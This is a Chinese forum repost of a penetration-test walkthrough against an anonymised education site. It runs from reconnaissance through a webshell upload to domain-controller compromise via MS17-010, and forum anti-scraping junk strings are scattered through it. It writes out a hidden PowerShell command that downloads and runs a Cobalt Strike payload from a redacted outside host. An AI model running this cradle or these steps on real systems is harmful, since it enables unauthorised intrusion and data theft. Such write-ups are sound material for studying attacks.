找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3464|回复: 0

渗透实战 | 从外网直接打到内网全过程

[复制链接]
发表于 2024-3-1 19:41:32 | 显示全部楼层 |阅读模式

, A( @& ^0 R4 T+ C* x- B* ~ 这次渗透是一个从01,从外网到拿下域控的实战过程,希望可以给大家一些思路3 n) _8 _2 h- Q/ ?% ?

: g+ N& w1 `' N8 f

j8 o# A" F% E' s. p8 o$ M   $ P* C6 C: ~6 N- }! o! L: Z9 L

- L2 n+ @( |: w

7 Z" b; ?" o, q4 f 正文 # C/ g$ Y# [. l0 Q) _

; n& E0 M ?4 l

6 I: r. N, \- c$ d! a) E* z9 K  % W$ R, h8 R8 A# w: B8 a

; v. A( G8 g, {+ V

/ L+ Q4 M4 c6 b7 L; h 目标:www.xxxx.com(一家教育机构)
- z, @) {/ U8 m* W5 w
打开是一个登录框,只能是手机号+密码或者手机号+验证码且并未开放注册功能
- o( k+ b' o0 H: R3 \1 Z

. g5 k. H7 g: | a& t+ a, _

$ b4 `! J; H, B3 I5 L vshapes= 9 V# A; z/ S1 F/ _# X

1 @8 {* r5 c1 ~' Y% |6 x

" h7 e- y5 ] V 进行了简单的信息搜集
$ C8 @7 o, S7 B" `; u! Y
7 j) E; D8 Q; ^
1 P) b4 U \8 y3 K/ w8 p

6 f( ~: Y. O# r4 L

4 h& [% L/ O5 m4 u, h6 Y1 S+ X 子域名搜集) `* i; V* {0 ^5 }3 D: l; {

. l2 e N% @1 _! ^7 j6 @& c7 T

7 |% L) D: I) g& t6 a4 t vshapes= - F2 _: a, H- O- C* O. g3 S

9 {5 Q( A7 B0 D

' b- K+ T8 X, _+ X fofa找资产
& _! l7 C, u$ [# _
/ V3 Z6 I: s0 ]
. ?/ [6 S5 e& y) \$ r* E

1 q: R% N6 A( m& @# ~3 L. H

4 A# W7 j4 }; `0 J' W/ ~ vshapes= " e$ V6 }; P& ^1 Q. t8 C. t

: E1 a& ] U/ L

" y" @% {0 F7 |8 q 一共七个资产。去重之后只有两个。
) ^7 C5 t$ m; q1 n. y
$ x6 ?) c3 x2 {: ]5 V6 b- X9 J- R' k
* v$ A1 s" h6 U

8 a( L1 O4 q2 I4 M" f9 @

2 z! | Z: N* j s& h 目录探测 / x4 U* y* ^0 l# |& u

" b2 N, y% I8 a* A2 z/ O

) u, B& Y: A5 ` vshapes=! _* O# F) F- [* {6 g) n

( e5 Z7 t+ _" K! K) t

" [/ o' K( u" \/ c6 [: s 我尝试了暴力枚举,看有没有弱口令之类的,然而并没有
$ }, R- R( u i1 S+ G
8 t. m1 a! B' Y: [* }! Q2 w* h
1 _- r' w9 t- d) j I% B

N) e0 b* q; v" T' p

: d3 k8 Z: g" e 我又尝试了通过修改返回包来绕过登录界面 5 I3 k, ]/ q' [, ^0 N3 Z$ A5 R0 O3 M- E

* m& D% [2 D( y( f) g

- u5 D- s+ ?% q/ u vshapes=. f; {1 a3 r: i) B- d% Z; e3 z

# R. w# p) _* \, {5 d" X

# Q) Y1 B) L$ F6 e3 X5 `& i 还是不行,尝试注入无果 2 ? Z A/ k3 z y/ |

8 c( d a, H# G

- ?# Y3 N2 n: \- [. b' F# { vshapes=1 o: O2 X9 R4 g" q% \7 G

2 P, }" o- | g F$ ?

5 c7 q- ]* b# U- z: l 不过我目录探测出了一处Spring信息泄露
8 f7 L- P) K: c' [9 K$ e
- R/ [/ W" e6 L. l+ ^# x
. t1 A" a7 K2 e$ o K5 o$ c+ z

! m) c! q4 H& E$ S. h

& u: e# w1 l3 a' l# v" M vshapes=2 Y2 i! s! ]& m0 ~

3 k" J: c8 e1 n5 k% M# H$ h8 s! D

0 |3 D3 D& v% r5 P& B6 f6 K! w8 X& b 尝试Spring RCE无果,想通过trace目录下替换cookie实现登录,但是发现删除了这个目录 6 E& b' b( l% j8 W8 |( o+ s

% z! [) `3 n3 m. p' P& U6 _9 h

7 [% t0 }) T; z \9 m% C vshapes= 8 V' b6 a) z" a4 p1 o9 u% Y

: H3 B j0 |& R1 ?! g' Y% o; t0 ]

) \5 U T0 a I$ n 后对公众号进行了简单的信息搜集,针对公众号搜集时,尽量找后面认证过的进行渗透。 ) z/ p8 [ g% X

4 `5 g5 x+ k7 U" I6 L

4 |3 }# r+ T3 }4 ? vshapes=0 }# i* l+ ]; M9 I- c0 J$ r7 ~

' t* |6 k5 [1 w: B

- ~; h0 Y& `# ] 获取有些师傅到这一步就手机抓包电脑测了。 % A: F. p% u7 Z+ s. K6 U/ A: L6 K

$ b' @2 N# f& H1 p2 \

6 p- I/ t/ \3 M1 e6 I* s- Q Windows新版微信可以抓取公众号和小程序的包,只需要把IE代理配置一下即可。" N1 `8 J3 ]' {" ~0 e7 Z6 U" m" I* S

5 R9 _7 u/ \6 z

# T$ b. {% j2 z% }" s 其中在一个公众号发现了小程序,可以进行注册。1 R9 x$ F! x8 @

3 X% f/ L* q7 Y& F8 C8 P' j! P6 ~

) g) `' O1 T5 m3 j9 ^ 看到了头像上传,尝试上传获取WebShell 6 L# Q9 I. L- M- h# h9 S

7 g9 d. x+ `: n% C

' a8 l( U1 X6 w3 c2 M1 }, n: ~ vshapes= 3 a3 d7 j* d) x

) W' R! k/ t1 A( R. h% b

9 r% e y' ^' p$ {8 {: |5 I' D 未做任何限制成功GetShell,上了冰蝎马,目录没权限访问 : F2 ^4 g1 @3 |* Q& ~

* k8 u+ L# Q9 w# d5 Z. H2 J

9 o* t9 i3 N7 c5 V# l+ C; } vshapes=2 U g5 t U9 u" I6 S% t% L

1 X6 C3 Z( U6 a" w# \" k' U

* [9 x# Y- G+ c4 {8 @/ l7 G5 F% O 然后上了大马 ; u0 ~0 I" M* D( r, i5 `

; ?: o# a$ t0 _7 X5 A9 M

3 Y. i' S* r$ n( f5 a vshapes= # O1 S$ \0 g x* Y

0 a- Z8 o+ O3 b7 c

! J9 j% F1 L1 B# R/ \ vshapes=9 `1 B. m% _& q* ^. o5 s$ c

3 P$ P; J% h: k0 R- L

. D. p) \8 g, s# x. G 通过翻找文件发现数据库账号密码 ! y6 O+ q( p$ K. d

' S1 w1 \' m8 ?# p" @6 w5 C6 C6 B6 i3 w

6 x( l& O d+ Q7 G! N1 \ A9 C3 { vshapes= 9 d" p4 `3 K$ i# m

3 ?* V [/ u0 J1 r

* O$ ?+ y% I4 K9 m2 M% i [( X, z --内网渗透 1 F; O8 v2 ?' j! ?

/ ~3 P1 n; x G8 n$ t' n2 J3 b

- ^" ^7 e1 H! e1 x 直接通过powershell执行 cs上线: q! A Q/ ^9 U8 v3 ~' N, i" l

' d6 i/ y* f. t% d" s; z; E" l

_6 u+ o' L0 D& b* u powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))" 3 ~6 P. h9 u" L, `+ X

2 Z+ t% l+ B0 l: L- \; o

4 g8 j+ g( S% \. E vshapes= 5 A [. @8 [0 l7 ?4 k2 e# U& x

" n1 _# i; q7 ]# M. C; Z

2 ]8 f2 K' f3 d& ^ 进入内网后,简单的进行一波信息收集,寻找域控并对服务器段进行弱口令爆破 7 U) r. }* ]) h, G

0 F& o. N2 V3 [" x. Y5 W2 |( L( f

8 n+ K8 x+ L5 K+ R. a3 N vshapes= - Z$ {& `5 Q$ m. h

: V& c8 `2 |9 q' F1 `% v+ E; ]2 }

9 F) K8 p4 q$ }( t( i9 I- R* F 登录爆破出来的服务器,发现多网卡且存在逻辑隔离。
/ v- P2 |5 U( P, a
$ |+ v/ g. s. V
+ Z; T0 `; I3 s7 t2 p' }
, X/ T( Q0 ~: C% ~% a6 s U8 j, L

+ g$ X4 u% K6 V/ a# ~* v: P

1 o" y' n5 ^+ m5 R$ e+ [1 I: H vshapes=& f& y! q( c/ z: X- ^

4 n% o& e! S6 x7 K3 u; B' f% A

9 n. I1 j! q* e9 F4 \: C, \ 通过跳扳机能通域控,发现域控server2008且存在ms17010,直接一把梭
x; a1 ~( l2 b( F, o0 k
+ O3 @. Q' h+ k! u! X
# k; a7 E6 r" N

) o- b y$ A" P9 V% M' l+ E+ d

1 K% b3 A: @( V$ Z5 S vshapes= $ `7 Z8 W$ `# {; v% G6 [. R# R

s! p" \0 J! s _) }

3 p* D( M I$ Z4 Q9 e1 l. ~; g
2 {4 g& \* t0 x2 ~/ }
4 l& F. q" F) ~& a
4 ^$ w8 M$ U: B; W$ D/ r2 S

6 j4 s. h3 a( x8 E {

! k1 I8 f$ G+ }" d. K+ U D% C   9 p# |+ z ^; g. f) L

8 C( F$ s2 n( f

8 r0 m- W" ]! W% y 小结8 F+ J7 ^, F/ }: p* D3 l3 X

$ q+ u9 Z" _$ e: M8 W5 X4 |6 o7 W

( M! N: [2 E( V% S5 S$ r   g# v' i6 B# W* }; A( ?; J# ]

3 k3 C# _8 R. y! l

& F) T0 b: ~2 _2 Z6 V/ W 在渗透测试过程中,信息收集很重要,细心和耐心也是不可缺少的,总得来说,这次的渗透测试总的来说比较顺利,希望可以给大家带来一些思路! % G# p3 q) ^, j/ t5 u0 i7 g

' C+ s5 S! ~" r0 i

0 q8 F5 Q7 b4 Z: p, I) \ h) N   3 U6 y/ ?3 j( a, k9 t: W

. w! J: y! v8 Y' x4 z: Q5 Y) m
    3 b2 L' M3 q, v; R! u
  • & C i& T$ x5 J/ C  ( P" y1 S) L: h
  • 0 p# k( u- G; B; a Y% t
  • ) o& W1 u& q' e. f$ n   " H- D$ w+ r1 N# z! J; Z1 z% v
  • 7 [* M" @. R3 ?: }& S l( s1 U
; A% M, r: R7 c x0 ^& O

9 h' s/ o+ o" `& M2 V8 I, e 作者:Xm4FDf转载自:https://bbs.ichunqiu.com/thread-57879-1-1.html$ l( m0 u8 k1 Z" [4 V

: K' v5 U) `4 i

6 ?2 d8 k$ l" V* s  & Z5 m* m% V! l- U' c4 }6 p: u

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表